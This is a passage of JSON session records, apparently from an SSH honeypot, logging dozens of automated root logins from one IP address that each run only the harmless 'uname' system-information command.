  "src_ip": "91.92.40.217",
  "src_port": 49800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:19.980100+00:00",
  "ended_at": "2026-08-27T02:52:24.972594+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "260d146c-1933-4c3f-aa0c-672e0d722fea",
  "name": "sandy-burly-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45782,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:02.306937+00:00",
  "ended_at": "2026-08-27T02:52:05.603219+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5644ec97-d882-448a-9216-17798f8aba51",
  "name": "distant-regal-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:51.091157+00:00",
  "ended_at": "2026-08-27T02:51:56.786050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "625fef39-7678-4982-8752-9489e3478a6e",
  "name": "stoic-genial-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:38.499892+00:00",
  "ended_at": "2026-08-27T02:51:42.471840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e004cae-4fd5-45da-aed5-fea060736fc3",
  "name": "gloomy-glacial-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:00.950083+00:00",
  "ended_at": "2026-08-27T02:51:05.857167+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "14f9577b-1e65-45a1-9961-1e26e2b106dd",
  "name": "civil-glacial-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:38.005608+00:00",
  "ended_at": "2026-08-27T02:50:42.092830+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01fbbd40-baad-432a-b2cb-1a5f28789af0",
  "name": "jagged-frank-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 275,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:28.505065+00:00",
  "ended_at": "2026-08-27T02:50:34.081232+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cd888f4-d7c0-46b0-9fa5-ed519fb27a83",
  "name": "loyal-quiet-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:50:05.782609+00:00",
  "ended_at": "2026-08-27T02:50:09.549307+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bf4670f3-3a05-49eb-8544-84fa977c83fd",
  "name": "vigilant-slender-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:56.967113+00:00",
  "ended_at": "2026-08-27T02:50:01.652308+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c997b46a-3177-413b-a11a-90d90947bc3e",
  "name": "fringed-silent-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 231,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:47.095990+00:00",
  "ended_at": "2026-08-27T02:49:49.901479+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cdfb7ecc-e5ac-4d6b-a642-95b997c38474",
  "name": "oaken-cheerful-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40448,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:15.805198+00:00",
  "ended_at": "2026-08-27T02:49:18.718297+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c949e219-d6a8-4e67-bc1a-3a07b54696e2",
  "name": "glacial-prairie-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:49:08.173710+00:00",
  "ended_at": "2026-08-27T02:49:13.111379+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "914d8a40-4373-4598-9568-a714002596e3",
  "name": "sincere-daring-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:29.921780+00:00",
  "ended_at": "2026-08-27T02:47:35.057577+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "371ba7f8-0f72-4119-b2e9-8246f9a3a520",
  "name": "arctic-drifting-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:47:22.823744+00:00",
  "ended_at": "2026-08-27T02:47:27.420654+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a0c023be-ab8f-4fe5-aa9d-b4fbd07891fb",
  "name": "scarlet-plucky-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:48.913842+00:00",
  "ended_at": "2026-08-27T02:46:54.953116+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7d54356a-749b-4e62-9a2d-59557a9cfeba",
  "name": "crisp-upland-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:25.186235+00:00",
  "ended_at": "2026-08-27T02:46:29.726156+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "938aeab0-781d-44f2-a749-0351de8a51e1",
  "name": "lunar-sunlit-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 370,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:46:04.466914+00:00",
  "ended_at": "2026-08-27T02:46:08.444417+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ced3484-ca41-4bb3-ab85-931bb4e85257",
  "name": "lawful-gleaming-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 605,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:45:33.849655+00:00",
  "ended_at": "2026-08-27T02:45:37.095132+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3180a100-7f1f-4d78-9e02-186bf1f0ff67",
  "name": "woven-stoic-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 323,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:37.134465+00:00",
  "ended_at": "2026-08-27T02:44:41.597881+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b6b9b75-2a6e-438d-9c0b-b3b86adbd0fa",
  "name": "vivid-plucky-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47362,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:44:27.055067+00:00",
  "ended_at": "2026-08-27T02:44:30.422639+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ea3532b-cd4b-4b9f-bd31-c6d89c3c7051",
  "name": "crystal-knotted-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 316,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:41.374840+00:00",
  "ended_at": "2026-08-27T02:43:46.471416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4117791d-7161-4e25-bcb0-faad45496f04",
  "name": "slender-stoic-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 364,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:16.113895+00:00",
  "ended_at": "2026-08-27T02:43:19.648001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b3985147-ba8b-465f-a2f3-a4e0fe642f0a",
  "name": "lanky-ginger-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:11.835055+00:00",
  "ended_at": "2026-08-27T02:43:15.069220+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9da4f82b-5572-4572-a5ae-4351db890d57",
  "name": "snowy-hushed-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:07.769775+00:00",
  "ended_at": "2026-08-27T02:43:11.342339+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "92b2824c-c52d-4df3-8adf-aa597f98d9df",
  "name": "marine-blithe-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:43:01.576121+00:00",
  "ended_at": "2026-08-27T02:43:07.212366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4328a23d-6c32-49dc-acb6-97da825da524",
  "name": "weathered-gleaming-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 356,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:25.146501+00:00",
  "ended_at": "2026-08-27T02:42:30.603235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c504b7ef-fa2d-44ff-961f-d451310df45e",
  "name": "balmy-verdant-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 281,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:13.969217+00:00",
  "ended_at": "2026-08-27T02:42:19.918177+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ecffce4-0981-439c-b757-aff5824794f9",
  "name": "wandering-hazy-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:42:11.048175+00:00",
  "ended_at": "2026-08-27T02:42:14.046863+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9deade89-962f-41bd-bf2a-7d57a91d4ad3",
  "name": "gilded-glacial-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:49.956057+00:00",
  "ended_at": "2026-08-27T02:41:54.847010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8dc18c8e-0f31-4096-b4fc-46c0bdd031b8",
  "name": "eager-hollow-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:44.481539+00:00",
  "ended_at": "2026-08-27T02:41:50.371140+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "94ffa720-d6c3-4f3e-bcd7-f9b1832fa332",
  "name": "cosmic-hazy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:21.917003+00:00",
  "ended_at": "2026-08-27T02:41:27.419391+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35546b4a-28de-483a-8708-84b5294b2331",
  "name": "fringed-feathered-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 410,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:20.494011+00:00",
  "ended_at": "2026-08-27T02:41:25.370228+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "333c5cbf-53bb-45c9-aaec-f192cf366d8c",
  "name": "cheerful-obsidian-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 280,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:12.892876+00:00",
  "ended_at": "2026-08-27T02:41:18.924237+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cd0918c0-4416-48fd-94d6-c493bf63eaf9",
  "name": "crimson-valiant-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:41:04.743133+00:00",
  "ended_at": "2026-08-27T02:41:09.439312+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3687f263-de54-4efd-a5ec-9a645a1b949b",
  "name": "lucid-orderly-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:40:30.587050+00:00",
  "ended_at": "2026-08-27T02:40:35.813819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c5bcbe48-b5d2-45b6-860e-d010c5b31b4b",
  "name": "sterling-feathered-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:55.183693+00:00",
  "ended_at": "2026-08-27T02:40:00.138819+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f386c258-2ac3-4e54-983d-d1423d9dbc1d",
  "name": "proud-frosty-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:53.722062+00:00",
  "ended_at": "2026-08-27T02:39:57.779808+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2510945-ae02-49f5-bc33-a2058b7853a2",
  "name": "mindful-brave-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 34558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:35.744958+00:00",
  "ended_at": "2026-08-27T02:39:38.812600+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d54db19-dc32-456e-9afe-c0341e18e34e",
  "name": "orderly-bronzed-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:39:25.949338+00:00",
  "ended_at": "2026-08-27T02:39:31.175225+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e16173a9-9fc0-41cc-86e8-b8861a3f5692",
  "name": "crimson-brisk-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51396,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:47.924057+00:00",
  "ended_at": "2026-08-27T02:38:53.689934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16f12cf5-ee5c-40a4-90c6-e7b9800e887e",
  "name": "wiry-lofty-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:38:13.552771+00:00",
  "ended_at": "2026-08-27T02:38:18.537429+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c91f8bd5-465a-4549-9ed8-08adb0a3ed76",
  "name": "pewter-slender-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:59.631023+00:00",
  "ended_at": "2026-08-27T02:38:04.457487+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca2958c1-7040-4c5c-a634-33d742c6d1af",
  "name": "lunar-lively-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 52538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:37:20.606355+00:00",
  "ended_at": "2026-08-27T02:37:24.109453+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1a5f896c-ed82-437e-8b46-4f10a2f1b626",
  "name": "frank-fleeting-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 46866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:40.835763+00:00",
  "ended_at": "2026-08-27T02:36:45.516471+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01366a3a-89bf-4cdc-93a1-35efe6485512",
  "name": "gleaming-flinty-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 38348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 268,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:36:06.392438+00:00",
  "ended_at": "2026-08-27T02:36:12.241934+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0221c40f-fb57-4f10-8503-23cd4a2237dd",
  "name": "earnest-nimble-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:55.329112+00:00",
  "ended_at": "2026-08-27T02:35:58.550256+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ec8b550-2fc5-43e9-8dd0-003f728c297e",
  "name": "grassy-valiant-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:46.484113+00:00",
  "ended_at": "2026-08-27T02:35:51.472390+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "10d0a4ab-c51b-43d1-97a9-72e4125e1a6f",
  "name": "lonesome-grumpy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 56944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:45.356410+00:00",
  "ended_at": "2026-08-27T02:35:49.096953+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fe92cb9e-9f78-48f5-975c-e2702963f3db",
  "name": "sturdy-sandy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:39.396505+00:00",
  "ended_at": "2026-08-27T02:35:44.344001+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a21b3f2-826c-4f25-a75d-c6e116fae10d",
  "name": "sleepy-rustic-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 274,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:35:30.030302+00:00",
  "ended_at": "2026-08-27T02:35:35.979926+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f4747cf7-8675-4a72-aa40-a56ddeb2ebc7",
